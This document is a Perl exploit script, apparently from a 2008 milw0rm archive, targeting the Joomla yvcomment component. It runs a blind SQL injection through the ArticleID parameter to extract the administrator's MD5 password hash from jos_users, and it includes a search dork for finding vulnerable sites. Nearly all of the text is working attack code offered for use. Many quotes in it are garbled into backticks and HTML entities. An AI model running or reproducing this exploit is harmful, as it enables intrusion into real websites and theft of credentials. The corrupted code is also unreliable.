Joomla Component yvcomment <= 1.16 Blind SQL Injection Exploit#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print `                                                                        \n`;
  print `  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n`;
  print `  o   Joomla Component yvcomment Blind SQL Injection Exploit            o\n`;
  print `  o   Author:His0k4 [ALGERIAN HaCkeR]                                   o\n`;
  print `  o                                                                     o\n`;
  print `  o   Conctact: His0k4.hlm[at]gamil.com                                 o\n`;
  print `  o   Greetz:   All friends &amp; muslims HacKeRs                           o\n`;
  print `  o                                                                     o\n`;
  print `  o   Dork :   inurl:yvcomment                                          o\n`;
  print `  o   Usage:   perl yvcomment.pl host path <options>                    o\n`;
  print `  o   Example: perl yvcomment.pl www.host.com /joomla/ -a 2             o\n`;
  print `  o                                                                     o\n`;
  print `  o   Options:                                                          o\n`;
  print `  o     -a   valid Article id                                           o\n`;
  print `  o   Note:                                                             o\n`;
  print `  o You can Change the match string by any content of the correct query o\n`;
  print `  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n`;
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, `u=i`, `p=s`, `a=i`);

print `[~] Exploiting...\n`;

if($options{`u`})
{
  $userid = $options{`u`};
}

if($options{`a`})
{
  $aid = $options{`a`};
}

syswrite(STDOUT, `[~] MD5-Hash: `, 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f &amp;&amp; $h <= 57)
  {
    if(istrue2($host, $path, $userid, $aid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f &amp;&amp; $h <= 122)
    {
      if(istrue2($host, $path, $userid, $aid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print `\n[~] Exploiting done\n`;

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $aid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = `http://`.$host.$path.`index.php?option=com_yvcomment&amp;view=comment&amp;ArticleID=`.$aid.` and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),`.$i.`,1))=`.$h.``;
 
  if($options{`p`})
  {
    $ua->proxy('http', `http://`.$options{`p`});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = `DateAndAuthor`;
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-08]